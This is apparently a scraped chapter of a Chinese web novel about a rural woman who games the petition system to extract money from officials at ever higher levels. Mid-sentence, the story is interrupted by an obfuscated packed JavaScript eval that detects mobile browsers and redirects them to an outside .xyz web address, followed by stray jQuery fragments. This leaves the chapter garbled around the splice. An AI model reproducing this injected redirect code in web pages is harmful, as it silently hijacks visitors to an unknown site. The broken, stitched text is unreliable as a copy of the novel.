325.《法苑笔记》第三百二十五章

作品:《法苑笔记

    进入到九十年代,刁德香把上访目的地从村、乡、县扩大到咸平市。


    由于市区距离较远,每次到市里上访时,刁德香都把老实巴交的丈夫带上。


    刁德香上访多是唾液横飞地讲个不停,要么就是躺在地上脱衣服耍赖。


    有几次刁德香当众脱掉上衣裸露着上身耍泼时,作为丈夫的乌小利实在看不下去避到一旁。事后,乌小利生气地说,你下次再脱衣服,我就不陪你去上访了。


    各级接访人员都是苦口婆心地给她讲道理、说法律,但刁德香根本听不进去。她现在已经不是要洗清自己身上的“冤情”,而是把上访当成了生财之道,至于法律、道理对她来说那是一文不值。


    她自己算过一笔账,自己辛辛苦苦地在地里干一年,最多也就是挣个几十元,而上访一次少则几元、几斤米,甚至是两只鸡、两斤肉,多则有几十元。一九九二年二月到市里上访,一位领导一下就给了她贰佰元。她当时都愣住了,拿钱的手瑟瑟发抖,天啦,干农活辛苦一年也挣不了这么多钱,这可真是无本万利的好生意。


    进入到二十一世纪,中央强调构建和谐社会,自上而下更加重视□□工作,刁德香的“上访生意”也越做越好。一年下来,上下奔波,所获得收入远远高于在家辛苦劳作的同村村民。


    到省里去,刁德香知道,在我们国家,领导级别越高,往往越是讲道理,也更亲民,于是她心里产生了要把状告到省里大领导那里,以获取更大收益的想法。


    说干就干,二00一年四月开始,刁德香便在丈夫乌小利的陪同下,到省里各部门上访、告状。她先是来到省妇联,一把鼻涕、一把眼泪地诉说着这么多年来自己不幸的遭遇。


    接待她的是一位满头银发、慈眉善目的女同志。她见刁德香哭得是满脸泪水,顿时心生怜悯,在陪着刁德香掉了一会眼泪后,从口袋里掏出手帕让刁德香擦掉眼泪:“妹子你放心,我们是社会主义国家,你的冤屈党和政府一定会为你洗清的。”


    劝说了半天,临走时,女同志从口袋里掏出伍佰元递给刁德香:“妹子,这是我的一点心意,回去买点好吃的,营养营养身体,瞧你都瘦成这样了。”


    这位女同志当然不知道,刁德香是天生的骨瘦如柴体型,瘦并不代表身体不好,就像刁德香一样,看着瘦,闹起来那个劲头可是一点也不小。


    在省妇联有了收获,再到省政府□□局,但这次到省□□局,却没有得到礼遇。


    接访的是一位中年男子,戴一副眼镜。他接过刁德香递上来的一摞材料,从中拿出水乡县法院的刑事判决书,仔细地看了一遍:“这位女同志,你上访的诉求是什么?”


    “诉求?”刁德香一时愣住了,从村里到乡里再到市里、省里,大家对她的上访从来都是好言相劝,接着就是给钱、给物走人,还没有人这么问过她。“诉求?我不知道。”刁德香并不知道诉求是什么意思,不知道就是不知道,又不丢人。


    “就是说,你上访是为了什么目的?”戴眼镜的男同志还是很有耐心。


    “目的?”刁德香想,我的目的就是要钱要物,但这怎么能讲呢?“我冤枉!”刁德香好不容易想起自己这么多年来上访的目的。


    “冤枉?我看了你的判决书,里面说得很清楚,你把人打伤了,判你一年半,不重啊!”男同志原来是政法大学的研究生,水乡县的判决书写得是明明白白。


    “怎么不冤枉?我到了这么多地方上访,人家都知道我是冤枉的,就是你说我不冤枉。”刁德香拿起判决书气冲冲地走了。你这儿不行,我再到别处去,天下又不是只有你这一处衙门。


    在省□□局没有得到好处,刁德香很不甘心。她听上访的一位男子和他人侃侃而谈:政法委员会是分管公、检、法的,好多人在那里都把冤给伸了。


    对了,到省政法委员会去。既然是分管公、检、法的,那就一定能够管水乡县法院,水乡县大坝乡派出所他们也一定能够管。关键是既然省政法委员会是管这么多单位的领导,那钱就一定多。


    到了省政法委员会,刁德香改变了策略,不提法院判决是否公道,这么多年的状告下来,大家都给她分析法院的判决,她也知道了人家法院没有判错。讲心里话也是,你把人打伤了,判你一年半载的,那里还会错了?以后自己就单讲在大坝乡派出所被警察罚跪了半天的事情:“他们不但让我罚跪,还用脚踢我。我这腿


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15539249|135380||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    就被他们踢伤了,到现在还有伤疤。”刁德香说着就摞起裤腿,露出了一块伤疤。


    站在一旁的乌小利差点笑出声来,这婆娘还真能扯,这块长条疤痕是在一次农田劳作时,被割稻的镰刀割伤的,现在竟然被她说成是警察踢伤的。


    接访的是一位头发花白年约五十的男子,看看那伤疤,他也无法判断是不是被脚踢出来的伤痕,但见刁德香哭得那么伤心也就信了:“这帮乡下警察太野蛮,一个女同志也下得了手。”男子劝说了一会,见刁德香还在不停地哭,便撕下一张介绍信在上面写了一些什么,又从抽屉里拿出两百元钱递给刁德香:“这样吧,你回家去找水乡县政法委员会的同志,让他们给你解决。”


    刁德香觉得这省政法委员会这么大的机关,管着公安局、检察院、法院,这么大的权力,就给两百元钱,也太小气了。但看看时间已经不早了,好在这次没有白跑,便站起身来,一把鼻涕一把眼泪哭哭啼啼地走了。刚刚走出省委政法委员会的大门,就把手里的介绍信随手扔进了垃圾箱,她认为这个介绍信连一文钱都不值。


    二00四年一月,刁德香听人讲,省高级法院有一位大领导,是大学教授出身,人特别随和,还很讲道理,便和丈夫乌小利两人来到了东江省高级法院。


    这一天,省高级法院接待来访的正是东江省高级法院党组书记、院长端木天成。


    端木天成以前是粤省师范学院法律系主任。后来调到了粤省人民检察院任副检察长,不久就升为检察长。端木天成作为法律专家、大学教授,不但法律知识渊博,而且口才也很好。


    端木天成,鲁西省红州人,一九七七年冬天考上华西师范学院法律系法律专业,后获得该校法学博士学位并留校任教。


    在大学学习期间,端木天成政治上积极要求进步,学习成绩也较好。大学三年级下半学期,就被发展为中□□员。


    在大学执教期间,端木天成工作努力,政治上积极进取,始终与组织上保持一致,一九九0年三月被提拔为华南师范学院法律系副主任。一九九七年二月被粤省省委组织部选派到美国南加州大学学习六个月,回校后,被提拔为学院法律系主任,行政级别为正处。